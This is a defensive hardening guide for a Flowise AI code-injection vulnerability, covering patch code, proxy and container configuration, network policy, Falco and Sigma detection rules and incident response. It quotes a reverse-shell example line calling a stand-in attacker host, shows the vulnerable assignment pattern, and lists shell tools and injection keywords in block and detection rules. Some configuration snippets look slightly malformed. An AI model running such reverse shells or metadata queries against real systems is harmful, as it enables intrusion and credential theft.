Flowise AI Defense: CVE-2024-58351 Hardening Guide

Overview & Defensive Context: Securing LLM Orchestration Runtimes#

Harden Flowise AI against CVE-2024-58351: upgrade to 2.1.4, enforce API key authentication, isolate container runtimes, and audit Prediction logs.

In our morning offensive architecture deep dive, we dissected the mechanics of Flowise AI CVE-2024-58351 (CVSS 9.8 Critical, mapped to CWE-94: Code Injection, CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes, and OWASP LLM02:2025: Sensitive Information Disclosure). We demonstrated how unauthenticated remote attackers exploit the Flowise Prediction API endpoint (/api/v1/prediction/:id) by injecting weaponized JSON payloads via the overrideConfig parameter. Because vulnerable Flowise versions prior to 2.1.4 blindly traversed and unpacked dynamic parameters into internal node properties via replaceInputsWithConfig(), attackers could override critical node configurations—such as custom JavaScript evaluation nodes (CustomJS, IF Else, or LangChain Python/Tool runners)—to execute arbitrary shell commands within the host Node.js environment.

For AI platform architects, cloud infrastructure engineers, and enterprise blue teams, defending low-code LLM orchestration platforms presents critical architectural challenges:

• The Exposure of Low-Code AI APIs: Flowise provides an intuitive drag-and-drop interface for composing LangChain agents, vector stores, and custom tools. However, by default, earlier iterations prioritized seamless developer experimentation over zero-trust security postures, frequently exposing Prediction endpoints to unauthenticated caller networks without enforcing API keys.

• Mass Assignment Vulnerabilities in Dynamic Orchestrators: LLM workflows are inherently dynamic, requiring runtime parameter adjustments such as temperature, memory limits, and prompt templates. When an application framework accepts arbitrary nested JSON configurations from untrusted HTTP clients without strict schema allowlisting, it creates high-severity mass assignment and object injection risks. Unlike traditional REST API mass assignment that modifies database records, AI orchestrator mass assignment alters execution graph logic and runtime callbacks directly in memory.

• Container Escape and Privilege Escalation Blast Radius: Flowise servers frequently run as monolithic containers possessing ambient access to enterprise database credentials, cloud provider IAM roles, and internal vector databases. Unchecked remote code execution inside the Node.js runtime allows attackers to exfiltrate proprietary embeddings, steal LLM provider API keys, and pivot across adjacent container networks.

• The Five-Tier Defensive Architecture: Neutralizing CVE-2024-58351 requires defense-in-depth across the entire software and infrastructure lifecycle: upgrading to Flowise 2.1.4+ with parameter allowlisting, enforcing mandatory API token authentication, locking down container sandboxes with gVisor (runsc), applying zero-trust egress filtering, and deploying continuous eBPF runtime detection.

Warning

Exposing unauthenticated Flowise Prediction endpoints prior to version 2.1.4 allows complete server compromise and arbitrary command execution. Immediate patching and authentication enforcement are mandatory.

⚔️ Exploitation Mechanics: For the offensive proof-of-concept, memory model analysis, and packet-level breakdown, see our morning edition: Flowise AI CVE-2024-58351: overrideConfig Agent RCE.

Architecture Hardening: Five-Tier Defense-in-Depth for Flowise AI#

Securing Flowise deployments against dynamic parameter injection, unauthorized Prediction execution, and container breakout requires enforcing layered security controls across the application tier, gateway, container runtime, network perimeter, and kernel telemetry.

Defensive Architecture Flowchart#

flowchart TD
    classDef client fill:#1e293b,stroke:#ef4444,stroke-width:2px,color:#f8fafc
    classDef gate fill:#0f172a,stroke:#3b82f6,stroke-width:2px,color:#93c5fd
    classDef secure fill:#064e3b,stroke:#10b981,stroke-width:2px,color:#6ee7b7
    classDef audit fill:#4c1d95,stroke:#8b5cf6,stroke-width:2px,color:#ddd6fe
    classDef drop fill:#450a0a,stroke:#dc2626,stroke-width:2px,color:#fca5a5
    classDef pass fill:#065f46,stroke:#34d399,stroke-width:2px,color:#a7f3d0
    Inbound[Inbound HTTP POST /api/v1/prediction/:id]:::client --> APIGate{Tier 1: Reverse Proxy & API Gateway}:::gate
    APIGate -- Missing or Invalid Bearer Token --> Drop401[Action: Reject 401 Unauthorized]:::drop
    Drop401 --> LogSIEM1[Log Authentication Anomaly to SIEM]:::audit
    APIGate -- Valid API Key --> WAFGate{Tier 2: WAF Payload Inspection}:::gate
    WAFGate -- overrideConfig Contains javascript / child_process / eval --> Drop403[Action: Block 403 Forbidden Malicious Payload]:::drop
    Drop403 --> LogSIEM2[Trigger Critical WAF Injection Alert]:::audit
    WAFGate -- Clean Schema & Validated Parameters --> FlowiseApp{Tier 3: Flowise v2.1.4+ Application Engine}:::gate
    FlowiseApp -- Node Input Allowlist Check: apiOverrideStatus --> ValidateInputs{Is Parameter Explicitly Allowed?}:::gate
    ValidateInputs -- Disallowed Override Field --> StripInput[Action: Strip Disallowed Config & Log Warning]:::drop
    ValidateInputs -- Allowed Field Only --> ExecGraph[Dispatch Execution to LangChain Node Pipeline]:::pass
    ExecGraph --> SandboxGate{Tier 4: Container Runtime Isolation: gVisor runsc}:::gate
    SandboxGate -- Attempted Shell Spawning /bin/sh or socket() --> FalcoBlock{Tier 5: eBPF & Falco Kernel Telemetry}:::audit
    FalcoBlock -- Malicious Kernel Syscall Detected --> KillProc[Action: Terminate Compromised Pod & Alert SOC]:::drop
    SandboxGate -- Standard Node.js Mathematical & LLM Dispatch --> EgressGate{Zero-Trust Egress NetworkPolicy}:::gate
    EgressGate -- Outbound to 169.254.169.254 or Unknown Public IP --> DropNet[Action: Drop Outbound Packet at CNI]:::drop
    EgressGate -- Approved Egress: api.openai.com:443 / internal-db:5432 --> OutboundOK[Permit Upstream Connection]:::secure

Tier 1: Application Upgrades and Parameter Allowlisting#

The root cause of CVE-2024-58351 lies in unconstrained object assignment within Flowise core engine services. When processing inbound requests to /api/v1/prediction/:id, earlier versions permitted callers to submit arbitrary JSON structures under the overrideConfig key. The server directly overlaid these properties on internal node configurations without evaluating whether the targeted node permitted dynamic configuration.

In vulnerable versions (v2.1.3 and earlier), the internal function replaceInputsWithConfig() located in packages/server/src/utils/index.ts iterated over user-supplied keys and copied them blindly:

PLAINTEXT

// Vulnerable Implementation Pattern (Pre-2.1.4)
export const replaceInputsWithConfig = (nodeData: INodeData, overrideConfig: Record<string, any>) => {
    for (const key in overrideConfig) {
        if (Object.prototype.hasOwnProperty.call(overrideConfig, key)) {
            // Flaw: Arbitrary property overwrite without permission check or schema validation
            nodeData.inputs[key] = overrideConfig[key]
        }
    }
    return nodeData
}

This unchecked assignment enabled attackers to target custom code execution nodes (such as customFunction or jsFunction) and overwrite the executable code string with arbitrary Node.js commands containing child_process.execSync(). Upgrading to Flowise 2.1.4+ and Reviewing Patch Architecture In Flowise v2.1.4 (tracked via GitHub Security Advisory GHSA-5cph-wvm9-45gj), the core development team overhauled dynamic configuration handling. The patched engine introduces strict parameter isolation:

• Explicit Override Opt-In (apiOverrideStatus): Individual nodes in a workflow canvas must explicitly define whether their inputs can be adjusted at runtime via public API calls. If apiOverrideStatus is not explicitly set to true by the workflow author, all override attempts targeting that node are ignored.

• Input Schema Allowlisting: Rather than indiscriminately merging overrideConfig, Flowise validates each incoming property against an allowlist of safe operational parameters (such as modelName, temperature, or user query strings), rejecting arbitrary code injections targeting script execution fields.

• Execution Context Segregation: Custom code execution nodes are isolated from external property mutators, preventing dynamic modification of execution payloads via the prediction endpoint.

PLAINTEXT

// Patched Implementation Pattern (v2.1.4+)
export const replaceInputsWithConfig = (nodeData: INodeData, overrideConfig: Record<string, any>) => {
    // 1. Verify if the node explicitly permits runtime API overrides
    if (!nodeData.actions?.apiOverrideStatus) {
        return nodeData
    }
    // 2. Enforce strict allowlisting of permissible override parameters
    const safeAllowedInputs = nodeData.inputParams?.filter(param => param.acceptVariable).map(param => param.name) || []
    for (const key in overrideConfig) {
        if (safeAllowedInputs.includes(key)) {
            nodeData.inputs[key] = overrideConfig[key]
        }
    }
    return nodeData
}

To upgrade standalone or containerized Flowise instances to the patched version:

BASH

# Verify current running version
docker exec -it flowise-app npm list flowise
Pull and deploy patched container image (v2.1.4 or higher)
docker pull flowiseai/flowise:2.1.4
Alternatively, for global npm installations
npm install -g flowise@2.1.4

Environment Variable Hardening Configuration Flowise exposes several environment variables that dictate authentication enforcement and API surface visibility. In production deployments, administrators must mandate authentication across all endpoints and restrict public route allowlists.

Create or update the production environment configuration file (.env):

PLAINTEXT

# Flowise Production Hardening Configuration
PORT=3000
NODE_ENV=production
Mandate Flowise API Secret Key Overwrite (Disables unauthenticated Prediction calls)
FLOWISE_SECRETKEY_OVERWRITE="true"
Enforce secure master credential for administrative UI
FLOWISE_USERNAME="secadmin_ops"
FLOWISE_PASSWORD="REDACTED_SECURE_VAULT_PASSWORD_2026!"
Set encryption secret for database credentials and API keys stored in SQLite/PostgreSQL
FLOWISE_SECRET_KEY="REDACTED_32_BYTE_HEXADECIMAL_SECRET_KEY"
Restrict Whitelisted URLs: Strip wildcards and expose only healthcheck endpoints
NEVER include /api/v1/prediction in WHITELIST_URLS
WHITELIST_URLS="/api/v1/health,/api/v1/version"
Disable in-memory file uploads if not required by agent tooling
DISABLE_FILE_UPLOAD="true"
Enforce strict session timeouts (seconds)
SESSION_EXPIRY=3600

Tier 2: API Gateway Authentication and Reverse Proxy Hardening#

While patching Flowise resolves the code-level vulnerability, modern defense-in-depth requires that unauthenticated traffic never reaches the backend application container.

Deploying Nginx or Envoy as a reverse proxy in front of Flowise establishes strict authentication gates, rate limits, and JSON inspection rules. Nginx Reverse Proxy with Bearer Token Validation and WAF Rules The following Nginx configuration enforces Bearer token validation for all prediction requests, prevents access to administrative paths from external networks, and inspects request bodies for dangerous script patterns:

POWERSHELL

# /etc/nginx/conf.d/flowise_hardened.conf
limit_req_zone $binary_remote_addr zone=prediction_limit:10m rate=10r/s;
upstream flowise_backend {
    server 127.0.0.1:3000 max_fails=3 fail_timeout=10s;
    keepalive 32;
}
server {
    listen 443 ssl http2;
    server_name flowise.internal.domain;
    ssl_certificate /etc/ssl/certs/flowise_chain.crt;
    ssl_certificate_key /etc/ssl/private/flowise_rsa.key;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;
    # Security Headers
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';" always;
    # Block public access to management, credentials, and internal nodes
    location ~* ^/api/v1/(credentials|componentscredentials|apikey|exportimport) {
        allow 10.0.0.0/8;
        allow 172.16.0.0/12;
        deny all;
        proxy_pass http://flowise_backend;
    }
    # Protected Prediction API Route
    location /api/v1/prediction/ {
        limit_req zone=prediction_limit burst=20 nodelay;
        # Enforce API Key header check
        if ($http_authorization = "") {
            return 401 '{"error": "Unauthorized: Flowise API key required via Authorization Bearer token."}';
        }
        # Block requests with malicious overrideConfig code payloads in query or path
        if ($query_string ~* "child_process|eval(|spawn(|fs.write|process.binding") {
            return 403 '{"error": "Forbidden: Injection payload detected in request query."}';
        }
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_http_version 1.1;
        proxy_set_header Connection "";
        proxy_pass http://flowise_backend;
    }
    # Default Web UI and Public Assets
    location / {
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_pass http://flowise_backend;
    }
}

In addition to Nginx, organizations utilizing Kubernetes ingress controllers (such as Ingress-Nginx or Traefik) should implement custom Open Policy Agent (OPA) Gatekeeper or Coraza WAF plugins. By inspecting the raw JSON body of incoming HTTP POST requests to /api/v1/prediction/, the WAF drops any request containing JSON keys resembling javascriptFunction, code, child_process, or execSync before the HTTP connection is ever forwarded to Flowise.

Tier 3: Container Sandboxing and Operating System Hardening#

If an unauthenticated vulnerability exists within an orchestration engine, the container runtime represents the primary defensive boundary preventing host takeover. Traditional Docker deployments execute containers with root privileges (UID 0) sharing the host Linux kernel directly.

To eradicate escape vectors, Flowise must be deployed under an unprivileged user, inside a read-only root filesystem, with Linux capabilities stripped, and sandboxed using gVisor (runsc). Understanding gVisor (runsc) Syscall Interception Standard Linux containers provide isolation through kernel namespaces (cgroups, pid, net, mnt). However, system calls issued inside a container are handled directly by the host Linux kernel. When an attacker achieves remote code execution in Node.js, they can exploit local privilege escalation vulnerabilities in the host kernel to break out of the container.

In contrast, Google gVisor provides a virtualization-based OCI runtime (runsc). It intercepts system calls in userspace via a virtual kernel called the Sentry. Dangerous system calls—such as ptrace(), clone() with arbitrary flags, or direct hardware access—are either simulated safely in userspace or rejected entirely. The host kernel is never exposed to untrusted syscalls originating from Node.js child processes. Production Hardened Docker Compose Deployment The following docker-compose.yml manifest deploys Flowise v2.1.4+ enforcing rootless isolation, dropped capabilities, no-new-privileges, and local storage segregation:

PLAINTEXT

version: '3.8'
services:
  flowise:
    image: flowiseai/flowise:2.1.4
    container_name: flowise_hardened
    restart: unless-stopped
    # Execute as unprivileged non-root user (node:node, UID 1000)
    user: "1000:1000"
    read_only: true
    security_opt:
      - no-new-privileges:true
      # Enforce gVisor userspace sandbox runtime if configured on host
      # runtime: runsc
    cap_drop:
      - ALL
    cap_add:
      - CHOWN
      - SETUID
      - SETGID
    environment:
      - PORT=3000
      - NODE_ENV=production
      - FLOWISE_SECRETKEY_OVERWRITE=true
      - FLOWISE_USERNAME=ops_analyst
      - FLOWISE_PASSWORD=ChangeThisPasswordInVault99!
      - FLOWISE_SECRET_KEY=94d7b32810a4e768102d98bf6129487102938475810293847581029384758102
      - WHITELIST_URLS=/api/v1/health
      - DATABASE_PATH=/home/node/.flowise
      - APIKEY_PATH=/home/node/.flowise
      - SECRETKEY_PATH=/home/node/.flowise
      - LOG_PATH=/home/node/.flowise/logs
    volumes:
      # Isolate writable data directories to dedicated unprivileged volumes
      - flowise_data:/home/node/.flowise:rw
      - /tmp/flowise_tmp:/tmp:rw
    ports:
      - "127.0.0.1:3000:3000"
    networks:
      - flowise_internal_net
volumes:
  flowise_data:
    driver: local
networks:
  flowise_internal_net:
    driver: bridge

Kubernetes Hardened Pod Security and gVisor Specification For Kubernetes production clusters, leverage RuntimeClass: gvisor to ensure all system calls originating from the Flowise Node.js process are intercepted and handled by the Sentry userspace kernel, completely isolating the host Linux kernel:

PLAINTEXT

apiVersion: apps/v1
kind: Deployment
metadata:
  name: flowise-deployment
  namespace: ai-platform
  labels:
    app.kubernetes.io/name: flowise
    security.enterprise.io/tier: hardened
spec:
  replicas: 2
  selector:
    matchLabels:
      app: flowise
  template:
    metadata:
      labels:
        app: flowise
    spec:
      # Sandboxed container runtime via gVisor
      runtimeClassName: gvisor
      securityContext:
        runAsNonRoot: true
        runAsUser: 1000
        runAsGroup: 1000
        fsGroup: 1000
        seccompProfile:
          type: RuntimeDefault
      containers:
        - name: flowise-core
          image: flowiseai/flowise:2.1.4
          imagePullPolicy: IfNotPresent
          securityContext:
            readOnlyRootFilesystem: true
            allowPrivilegeEscalation: false
            capabilities:
              drop:
                - ALL
          ports:
            - containerPort: 3000
              name: http
          envFrom:
            - secretRef:
                name: flowise-credentials-secret
          volumeMounts:
            - name: persistent-storage
              mountPath: /home/node/.flowise
            - name: ephemeral-tmp
              mountPath: /tmp
          resources:
            limits:
              cpu: "2000m"
              memory: "4Gi"
            requests:
              cpu: "500m"
              memory: "1Gi"
      volumes:
        - name: persistent-storage
          persistentVolumeClaim:
            claimName: flowise-pvc
        - name: ephemeral-tmp
          emptyDir: {}

Tier 4: Zero-Trust Network Microsegmentation & Egress Control#

During exploitation of CVE-2024-58351, remote attackers execute commands designed to establish interactive reverse TCP shells (e.g., /bin/sh -i >& /dev/tcp/attacker/4444) or query cloud metadata services (169.254.169.254) to steal instance profile IAM tokens.

Implementing strict egress filtering renders reverse shells non-functional and protects cloud infrastructure identities. Cloud Metadata Service Defense (IMDSv2 and CIDR Blocking) Cloud instance metadata endpoints represent the primary high-value target following an initial shell breakout on AWS, Azure, or GCP:

• AWS IMDSv2 Enforcement: Security teams must ensure that all EC2 worker nodes hosting Flowise mandate IMDSv2 by setting HttpTokens=required and configuring HttpPutResponseHopLimit=1. Setting the hop limit to 1 prevents containerized workloads operating in bridge networking from querying the metadata service, as the TTL packet decrement drops the request at the container network interface boundary.

• Link-Local Egress Blacklisting: Direct iptables or eBPF filtering at the host CNI layer must drop all packets destined for 169.254.169.254/32 originating from pods inside the AI platform namespace. Kubernetes NetworkPolicy Restricting Egress The following Kubernetes NetworkPolicy isolates Flowise pods. It permits inbound HTTP only from the ingress controller, allows outbound DNS resolution, permits outbound HTTPS connections strictly to authorized LLM provider APIs (e.g., OpenAI, Anthropic) and internal databases, and explicitly drops all traffic to private RFC 1918 subnets and cloud metadata endpoints:

PLAINTEXT

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: flowise-strict-network-policy
  namespace: ai-platform
spec:
  podSelector:
    matchLabels:
      app: flowise
  policyTypes:
    - Ingress
    - Egress
  ingress:
    # Permit traffic exclusively from internal ingress controller
    - from:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: ingress-nginx
          podSelector:
            matchLabels:
              app.kubernetes.io/name: ingress-nginx
      ports:
        - protocol: TCP
          port: 3000
  egress:
    # 1. Allow Internal DNS Resolution
    - to:
        - namespaceSelector: {}
          podSelector:
            matchLabels:
              k8s-app: kube-dns
      ports:
        - protocol: UDP
          port: 53
        - protocol: TCP
          port: 53
    # 2. Allow Internal PostgreSQL / Redis Connectivity
    - to:
        - podSelector:
            matchLabels:
              app: postgres-ai-db
      ports:
        - protocol: TCP
          port: 5432
    # 3. Allow Outbound HTTPS to Internet (External LLM Providers)
    # Explicitly block access to Cloud Instance Metadata Services (169.254.169.254/32)
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 169.254.169.254/32
              - 10.0.0.0/8
              - 172.16.0.0/12
              - 192.168.0.0/16
      ports:
        - protocol: TCP
          port: 443

Tier 5: Runtime Telemetry, Detection Engineering & Incident Response#

Detecting active exploitation attempts against Flowise requires continuous observability across application logs, reverse proxy telemetry, and kernel syscall events.

BASH

Falco eBPF Rule: Detecting Shell Spawning from Flowise Node Process

Under standard operating conditions, the Flowise Node.js process (node) handles HTTP I/O, evaluates LangChain pipelines, and issues API requests. It should never spawn interactive command shells (/bin/sh, /bin/bash, sh, bash) or system management utilities (curl, wget, nc, python).

Deploy the following Falco rule to intercept child process spawning in real time:

PLAINTEXT

- rule: Flowise Node Process Spawned Shell or Execution Utility
  desc: Detects interactive shell execution or anomalous utilities spawned by Flowise Node.js process indicating CVE-2024-58351 exploitation
  condition: >
    spawned_process and
    container and
    (container.name startswith "flowise" or k8s.pod.label.app == "flowise") and
    proc.pname = "node" and
    (proc.name in (sh, bash, dash, ash, zsh, csh, ksh) or
     proc.name in (curl, wget, nc, netcat, ncat, python, python3, perl, ruby))
  output: >
    CRITICAL: Flowise CVE-2024-58351 Exploit Pattern Detected! Node process spawned unexpected shell or utility
    (user=%user.name user_id=%user.uid container_id=%container.id container_name=%container.name
     k8s_pod=%k8s.pod.name ppid=%proc.ppid pcmdline=%proc.pcmdline pid=%proc.pid
     process=%proc.name cmdline=%proc.cmdline)
  priority: CRITICAL
  tags: [security, attack.execution, t1059, flowise, cve-2024-58351]

Sigma Detection Rule: HTTP POST overrideConfig Injection Hunting Security Operations Centers (SOC) can detect exploitation attempts across web application firewalls, CDN access logs, and ingress controller access streams using this Sigma rule:

YAML

title: Flowise AI Prediction API overrideConfig Parameter Injection
id: a74e92b1-6d84-4821-bc30-f92e01b45289
status: experimental
description: Identifies HTTP POST requests targeting Flowise /api/v1/prediction endpoints containing overrideConfig payloads indicative of CVE-2024-58351 exploitation.
references:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5cph-wvm9-45gj
    - https://nvd.nist.gov/vuln/detail/CVE-2024-58351
tags:
    - attack.initial_access
    - attack.execution
    - attack.t1190
    - attack.t1059
    - cve.2024.58351
logsource:
    category: webserver
detection:
    selection_endpoint:
        cs-method: 'POST'
        cs-uri-stem|contains: '/api/v1/prediction/'
    selection_payload:
        cs-uri-query|contains: 'overrideConfig'
        c-body|contains:
            - 'overrideConfig'
            - 'child_process'
            - 'require("child_process")'
            - 'process.mainModule.require'
            - 'javascriptFunction'
    condition: selection_endpoint and selection_payload
fields:
    - c-ip
    - cs-method
    - cs-uri-stem
    - cs-uri-query
    - c-body
falsepositives:
    - Legitimate administrative workflows using approved parameter overrides in Flowise >= 2.1.4 (will not contain child_process or execution functions)
level: high

Step-by-Step Incident Response & Forensics Checklist In the event of an alert indicating suspected exploitation of Flowise AI:

Phase 1: Immediate Triage and Host Isolation#

• Isolate the affected Flowise pod or container immediately by applying a deny-all NetworkPolicy or executing docker pause <container_id>.

• Capture the volatile process memory of the container using LiME or gcore for forensic review.

• Identify whether the container was deployed with root privileges (UID 0) or had access to host directory mounts.

Phase 2: Log Extraction and Forensic Analysis#

• Extract web server access logs to isolate the caller IP, timestamp, and HTTP POST payload submitted to /api/v1/prediction/:id.

• Inspect Flowise application logs under /home/node/.flowise/logs/ for unhandled runtime exceptions or node graph compilation failures.

• Review eBPF/Falco alerts for command execution signatures matching /bin/sh, /bin/bash, or reverse TCP socket establishment.

• Audit the container filesystem for dropped files, modified .js files, or web shells placed in /tmp or node_modules/.

Phase 3: Credential Revocation and Enterprise Containment#

• Assume all secrets stored in the Flowise database or provided as environment variables are compromised. Immediately rotate:

Third-party LLM provider API tokens (OpenAI, Anthropic, Cohere, Hugging Face).

• Flowise master encryption key (FLOWISE_SECRET_KEY) and UI administrative credentials.

• Database access credentials (PostgreSQL, Redis, Pinecone, Chroma, Qdrant).

• Cloud provider IAM credentials or attached service account tokens.

• Review outbound network flow logs for data transfers to suspicious public IPs from the Flowise cluster.

Phase 4: Eradication, Patching, and Hardened Redeployment#

• Destroy compromised container instances and associated ephemeral volumes.

• Upgrade the Flowise base container image to version 2.1.4 or higher.

• Deploy the hardened Docker Compose or Kubernetes manifest with gVisor (runsc), unprivileged UID 1000, read-only rootfs, and dropped Linux capabilities.

• Enforce FLOWISE_SECRETKEY_OVERWRITE="true" and mandate Bearer API tokens on all ingress endpoints.

• Validate policy enforcement using the verification commands below before restoring user traffic.

Executive Takeaway Table: Threat Vectors, Telemetry Signals, and Primary Mitigations#

The following matrix consolidates the attack mechanisms, defensive telemetry signals, and required engineering controls for securing Flowise AI against CVE-2024-58351:

Attack Vector / Technique Primary Exploitation Mechanism Telemetry & Detection Signal Recommended Mitigation Verification Command Unauthenticated Prediction RCE Anonymous HTTP POST with overrideConfig injects arbitrary node properties HTTP 200/500 to /api/v1/prediction/:id with overrideConfig body Upgrade to Flowise 2.1.4+; set FLOWISE_SECRETKEY_OVERWRITE="true"

BASH

curl -X POST <a href="http://host/api/v1/prediction/">http://host/api/v1/prediction/</a><id> (expects 401)

Node.js Sandbox Escape (CWE-94) Malicious JavaScript executed via custom function nodes or LangChain tools

BASH

Falco Alert: node process spawning /bin/sh, /bin/bash, or python

Deploy gVisor (runsc); run container as unprivileged UID 1000

BASH

docker exec <id> id (confirms non-root execution)

Cloud IAM Token Exfiltration Attacker queries IMDS 169.254.169.254 from compromised agent pod VPC Flow Logs / CNI: Outbound TCP 80 to link-local metadata address Enforce egress NetworkPolicy blocking 169.254.169.254/32

BASH

kubectl exec -it <pod> -- curl -m 2 <a href="http://169.254.169.254">http://169.254.169.254</a> (timed out)

Reverse Shell Command & Control Payload spawns outbound TCP connection to attacker netcat listener Network firewall alerts: Outbound TCP connections on non-standard ports Block outbound egress traffic except port 443 to authorized API hosts

BASH

kubectl get networkpolicy flowise-strict-network-policy

Credential Database Theft Direct exfiltration of local SQLite file or database credentials File access logs: Node process reading /home/node/.flowise/database.sqlite Set read_only: true on rootfs; enforce separate secret manager

BASH

docker inspect <id> | grep ReadonlyRootfs

Authoritative References & Standards#

• GitHub Security Advisory: CVE-2024-58351: Flowise Remote Code Execution via overrideConfig Parameter Injection — GHSA-5cph-wvm9-45gj

• National Vulnerability Database (NIST): CVE-2024-58351 Detail & CVSS 9.8 Severity Score — NVD CVE-2024-58351

• Flowise AI Official Repository: Production Deployment & Security Guidelines — FlowiseAI GitHub Documentation

• OWASP Top 10 for Large Language Models: LLM02:2025 Sensitive Information Disclosure & LLM01:2025 Prompt Injection — OWASP GenAI Project

• Google Open Source: gVisor: Application Kernel for Containers (runsc Architecture) — gVisor Documentation

• MITRE ATT&CK Framework: Technique T1190: Exploit Public-Facing Application & T1059: Command and Scripting Interpreter — MITRE ATT&CK